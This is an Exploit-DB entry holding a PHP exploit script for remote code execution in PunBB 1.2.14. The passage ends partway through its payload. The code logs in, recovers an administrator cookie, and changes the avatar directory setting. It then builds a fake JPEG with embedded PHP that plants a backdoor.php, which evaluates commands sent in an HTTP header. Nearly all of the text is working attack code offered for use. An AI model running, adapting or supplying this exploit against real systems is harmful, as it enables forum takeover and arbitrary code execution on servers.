Exploit-DB #3710
Description: PunBB 1.2.14 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-04-11
Author: DarkFig

Exploit:
#!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);

if($argc < 7)
{
print("
-----------  PunBB <= 1.2.14 Remote Code Execution Exploit  -----------
-----------------------------------------------------------------------
PHP conditions: See www.acid-root.new.fr/advisories/13070411.txt
       Credits: DarkFig <gmdarkfig@gmail.com>
           URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
  Usage: $argv[0] -url <> -usr <> -pwd <> [Options]
 Params: -url       For example http://victim.com/punBB/
         -usr       User account (1 post at least)
         -pwd       Password account
Options: -uid       Admin id (default=2)
         -prefix    Table prefix (default=none)
         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
         -proxyauth Basic authentification <proxyuser:proxypwd>
-----------------------------------------------------------------------
");exit(1);
}

$url = getparam('url',1);
$usr = getparam('usr',1);
$[CREDENTIAL_REDACTED]('pwd',1);
$uid = (getparam('uid')!='') ? getparam('uid') : 2;
$pre = getparam('prefix');
$prox= getparam('proxy');
$proh= getparam('proxyauth');

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
if(!empty($prox)) $xpl->addproxy($prox);
if(!empty($proh)) $xpl->proxyauth($proh);

$xpl->cookiejar(1);
$xpl->post($url.'login.php?action=in',"form_sent=1&redirect_url=x&req_username=$usr&req_[CREDENTIAL_REDACTED]=1");

print "\nCookie hash: ";$cookie = blind($uid);
print "\nAdmin cookie: ".$cookie;

# Logged in as Administrator
$xpl->reset('cookie');
$xpl->addcookie($cookie);

# Avatars dir -> include/user
# Default options (french)
$data =
'form_sent=1&form%5Bboard_title%5D=Mon+forum+punBB&form%5Bboar'
.'d_desc%5D=Malheureusement+personne+ne+peut+vous+dire+ce+que+'
.'PunBB+est+-+vous+devez+le+voir+par+vous-m%EAme.&form%5Bbase_'
.'url%5D='.urlencode(preg_replace("#(.*)/$#","$1",$url)).'&form%5B'
.'server_timezone%5D=0&form%5Bdefault_lang%5D=English&form%5Bd'
.'efault_style%5D=Oxygen&form%5Btime_format%5D=H%3Ai%3As&form%'
.'5Bdate_format%5D=d-m-Y&form%5Btimeout_visit%5D=600&form%5Bti'
.'meout_online%5D=300&form%5Bredirect_delay%5D=1&form%5Bshow_v'
.'ersion%5D=0&form%5Bshow_user_info%5D=1&form%5Bshow_post_coun'
.'t%5D=1&form%5Bsmilies%5D=1&form%5Bsmilies_sig%5D=1&form%5Bma'
.'ke_links%5D=1&form%5Btopic_review%5D=15&form%5Bdisp_topics_d'
.'efault%5D=30&form%5Bdisp_posts_default%5D=25&form%5Bindent_n'
.'um_spaces%5D=4&form%5Bquickpost%5D=1&form%5Busers_online%5D='
.'1&form%5Bcensoring%5D=0&form%5Branks%5D=1&form%5Bshow_dot%5D'
.'=0&form%5Bquickjump%5D=1&form%5Bgzip%5D=0&form%5Bsearch_all_'
.'forums%5D=1&form%5Badditional_navlinks%5D=&form%5Breport_met'
.'hod%5D=0&form%5Bregs_report%5D=0&form%5Bmailing_list%5D=gmda'
.'rkfig%40gmail.com&form%5Bavatars%5D=1&form%5Bavatars_dir%5D='
.'include%2Fuser&form%5Bavatars_width%5D=60&form%5Bavatars_hei'
.'ght%5D=60&form%5Bavatars_size%5D=10240&form%5Badmin_email%5D'
.'=mysploiti%40gmail.com&form%5Bwebmaster_email%5D=mysploiti%4'
.'0gmail.com&form%5Bsubscriptions%5D=1&form%5Bsmtp_host%5D=&fo'
.'rm%5Bsmtp_user%5D=&form%5Bsmtp_pass%5D=&form%5Bregs_allow%5D'
.'=1&form%5Bregs_verify%5D=0&form%5Brules%5D=0&form%5Brules_me'
.'ssage%5D=Saisissez+vos+r%E8gles+ici.&form%5Bannouncement%5D='
.'0&form%5Bannouncement_message%5D=Saisissez+votre+annonce+ici'
.'.&form%5Bmaintenance%5D=0&form%5Bmaintenance_message%5D=Les+'
.'forums+sont+temporairement+ferm%E9s+pour+des+raisons+de+main'
.'tenance.+Veuillez+essayer+%E0+nouveau+dans+quelques+minutes.'
.'%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%2FAdministrateur&save=+'
.'Enregistrer+';

$xpl->addheader('Referer',$url.'admin_options.php');
$xpl->post($url.'admin_options.php?action=foo',$data);


# Fake JPG 1x1
#
# 000000A2 3C3F 7068 7020 2468 616E 646C 653D 666F <?php $handle=fo
# 000000B2 7065 6E28 222E 2F69 6D67 2F61 7661 7461 pen("./img/avata
# 000000C2 7273 2F62 6163 6B64 6F6F 722E 7068 7022 rs/backdoor.php"
# 000000D2 2C22 7722 293B [PII_REDACTED] 2468 ,"w"); fwrite($h
# 000000E2 616E 646C 652C 273C 3F70 6870 2069 6628 andle,'<?php if(
# 000000F2 6973 7365 7428 245F 5345 5256 4552 5B22 isset($_SERVER["
# [PII_REDACTED] 5F53 4845 4C4C 225D 2929 2040 HTTP_SHELL"])) @
# 00[PII_REDACTED] 616C 2824 5F53 4552 5645 525B 2248 eval($_SERVER["H
# 00[PII_REDACTED] 505F 5348 454C 4C22 5D29 3B20 3F3E TTP_SHELL"]); ?\>
# 00[PII_REDACTED] 3B20 6663 6C6F 7365 2824 6861 6E64 '); fclose($hand
# 00000142 6C65 293B 203F 3E                       le); ?\>    
$avatar =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x60"
."\x00\x60\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05"
."\x08\x07\x07\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C"
."\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24"
."\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29\x2C\x30\x31\x34"
."\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF\xDB"
."\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D\x0D\x18\x32\x21"
."\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\xFF\xFE\x00\xA9\x3C\x3F\x70\x68"
."\x70\x20\x24\x68\x61\x6E\x64\x6C\x65\x3D\x66\x6F\x70\x65\x6E"
."\x28\x22\x2E\x2F\x69\x6D\x67\x2F\x61\x76\x61\x74\x61\x72\x73"
."\x2F\x62\x61\x63\x6B\x64\x6F\x6F\x72\x2E\x70\x68\x70\x22\x2C"
."\x22\x77\x22\x29\x3B\x20\x66\x77\x72\x69\x74\x65\x28\x24\x68"
."\x61\x6E\x64\x6C\x65\x2C\x27\x3C\x3F\x70\x68\x70\x20\x69\x66"
."\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x53\x45\x52\x56\x45\x52"
."\x5B\x22\x48\x54\x54\x50\x5F\x53\x48\x45\x4C\x4C\x22\x5D\x29"
."\x29\x20\x40\x65\x76\x61\x6C\x28\x24\x5F\x53\x45\x52\x56\x45"
."\x52\x5B\x22\x48\x54\x54\x50\x5F\x53\x48\x45\x4C\x4C\x22\x5D"
."\x29\x3B\x20\x3F\x3E\x27\x29\x3B\x20\x66\x63\x6C\x6F\x73\x65"
."\x28\x24\x68\x61\x6E\x64\x6C\x65\